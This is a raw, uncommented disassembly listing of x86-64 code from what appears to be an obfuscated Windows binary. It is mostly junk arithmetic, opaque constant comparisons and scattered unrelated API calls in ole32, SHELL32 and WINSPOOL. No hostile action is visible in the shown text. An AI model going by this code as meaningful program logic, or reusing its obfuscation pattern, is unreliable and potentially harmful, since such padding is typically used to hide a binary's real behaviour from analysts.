mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
add eax, ecx
mov word [rsp + 0x864], ax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [0x14017a058]
mov rcx, qword [rsp + 0x4b88]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4ce8]
shl rax, cl
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x28bc]
shr eax, cl
mov dword [rsp + 0x29e4], eax
mov rax, qword [rsp + 0x4dc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
mov eax, dword [rsp + 0x2a00]
sub eax, 0xe5
mov dword [rsp + 0x2a00], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x52], al
movzx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x874]
sub eax, ecx
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a18], eax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa0]
mov rcx, qword [rsp + 0x4b30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x28cc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
or eax, ecx
mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x878]
sar eax, cl
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
movsx eax, word [0x140178e70]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
add eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4aa0]
mov rcx, qword [rsp + 0x4b30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov eax, dword [0x140178e8c]
mov ecx, dword [rsp + 0x28bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d28]
mov byte [rcx], al
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x878], ax
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
jmp 0x14000aaa2
mov rax, qword [rsp + 0x4dc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2970]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x140178e60]
mov rdx, qword [rsp + 0x4ba8]
mov rdx, qword [rdx]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jae 0x14000aff7
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28f4]
mov dword [rsp + 0x2a1c], eax
cmp dword [rsp + 0x2a1c], 0x65ab
je 0x14000af55
jmp 0x14000afd2
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29e4], eax
lea rax, [rsp + 0x4ba8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ILCloneFirst
lea r9, [rsp + 0x4c88]
mov r8d, 0x32
lea rdx, [rsp + 0x4b18]
lea rcx, [rsp + 0x162f8]
call qword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [rsp + 0x2954], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4b88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ac8], rax
jmp 0x14000aff5
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
jmp 0x14000b03e
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e5c], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x4df0], rax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x86c]
sub eax, ecx
mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x58]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x28bc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba8]
mov qword [rsp + 0x4df8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4df8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x860]
and eax, ecx
mov word [0x140178e70], ax
movsx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
sub eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ce8], rax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [0x140178e68]
sub eax, ecx
mov word [0x140178e88], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
sar eax, cl
mov byte [rsp + 0x57], al
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x874], ax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29c4]
mov ecx, dword [0x140178e6c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [0x140178e78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4aa0], rax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x56]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
sub eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x878], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x57], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b30]
movzx ecx, al
mov rax, qword [rsp + 0x4ce8]
shr rax, cl
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x29dc], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b80]
mov qword [rsp + 0x4e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2a18], eax
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x53], al
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56], al
movsx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a18]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4b88]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29e0]
add eax, 0x9b
mov dword [rsp + 0x29e0], eax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ce8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x28cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x29dc], eax
movsx eax, word [rsp + 0x874]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [rsp + 0x52]
or eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x50]
shl eax, cl
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
cmp dword [rsp + 0x29e0], 0xe8db
jbe 0x14000b03e
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x57]
movzx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x4df0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x53]
and ecx, edx
cmp eax, ecx
jg 0x1400f973c
lea rax, [0x140178e70]
mov qword [rsp + 0x4e08], rax
mov rax, qword [rsp + 0x4e08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
sar eax, cl
movsx ecx, word [rsp + 0x87c]
mov rdx, qword [rsp + 0x4cb0]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x1400f970d
mov rax, qword [rsp + 0x4b30]
mov qword [rsp + 0x4e10], rax
movabs rax, 0x766ca7c219d326
cmp qword [rsp + 0x4e10], rax
je 0x14000b67e
jmp 0x14000b773
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov rdx, qword [rsp + 0x4ac8]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jge 0x14000b6e7
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2970]
movzx ecx, al
mov eax, dword [0x14017a060]
shl eax, cl
mov dword [rsp + 0x29c4], eax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x2a20], eax
cmp dword [rsp + 0x2a20], 0x572a
je 0x14000b714
cmp dword [rsp + 0x2a20], 0xa166
je 0x14000b751
jmp 0x14000b76e
lea rdx, [rsp + 0x16348]
lea rcx, str.octogenarians
call qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [rsp + 0x2954], eax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140178e88], ax
jmp 0x14000b76e
movsx eax, word [rsp + 0x874]
movsx ecx, word [rsp + 0x860]
and eax, ecx
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
jmp 0x1400f9569
mov eax, dword [rsp + 0x28cc]
mov dword [rsp + 0x2a24], eax
cmp dword [rsp + 0x2a24], 0
je 0x14000b78d
jmp 0x14000b7fb
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
movsx eax, byte [0x140178e5c]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
lea rax, [rsp + 0x860]
mov qword [rsp + 0x4e18], rax
mov rax, qword [rsp + 0x4dc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29dc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
jmp 0x14000b8e5
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4d68]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x4e20]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x2a10], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b78], rax
mov edx, reloc.SHELL32.dll_PathMakeUniqueName
mov rcx, qword [rsp + 0x4e28]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [rsp + 0x50], al
lea rcx, [rsp + 0x864]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x2a28], eax
mov rax, qword [rsp + 0x4c68]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rax]
call fcn.1400fa910
nop
mov dword [rsp + 0x2a2c], 0x411e
movsx eax, word [rsp + 0x87c]
movsx ecx, word [rsp + 0x874]
sar eax, cl
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
xor eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
or eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4d68]
shl rax, cl
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4ca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28f4], eax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov word [0x140178e68], ax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d38]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
and eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4e18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28ac]
movzx ecx, al
mov eax, dword [rsp + 0x2970]
shl eax, cl
mov dword [rsp + 0x29c4], eax
mov rax, qword [0x140178e78]
mov rcx, qword [rsp + 0x4ac0]
mov qword [rsp + 0x4e30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e30]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4b30], rax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140178e5c], al
movsx eax, word [rsp + 0x868]
movsx ecx, word [0x140178e70]
or eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x878], ax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56], al
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4b88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4ce8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b90]
mov ecx, dword [rsp + 0x29dc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x4e18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57]
add eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
movzx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
movsx eax, word [rsp + 0x860]
movsx ecx, word [rsp + 0x868]
shl eax, cl
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x2a2c]
add eax, 0x32
mov dword [rsp + 0x2a2c], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x29e4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4b90]
mov ecx, dword [rsp + 0x29f0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x86c]
movzx ecx, word [0x140178e68]
add eax, ecx
mov word [rsp + 0x878], ax
movsx eax, byte [rsp + 0x58]
movsx ecx, byte [rsp + 0x56]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x878]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x870]
sub eax, ecx
mov word [rsp + 0x87c], ax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4d68]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x4ca8]
mov ecx, dword [rsp + 0x29f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28cc], eax
cmp dword [rsp + 0x2a2c], 0x4e02
jb 0x14000b8f0
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov dword [rsp + 0x2a30], eax
cmp dword [rsp + 0x2a30], 0
je 0x14000bdf9
cmp dword [rsp + 0x2a30], 0x3f9
je 0x1400f9490
jmp 0x1400f94ae
lea rax, [rsp + 0x87c]
mov qword [rsp + 0x4e38], rax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x54]
and eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov qword [rsp + 0x4e40], rax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov dword [rsp + 0x2a34], eax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x2a38], eax
lea rax, [rsp + 0x860]
mov qword [rsp + 0x4e48], rax
movzx eax, byte [rsp + 0x58]
mov byte [0x14017a051], al
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
sub eax, ecx
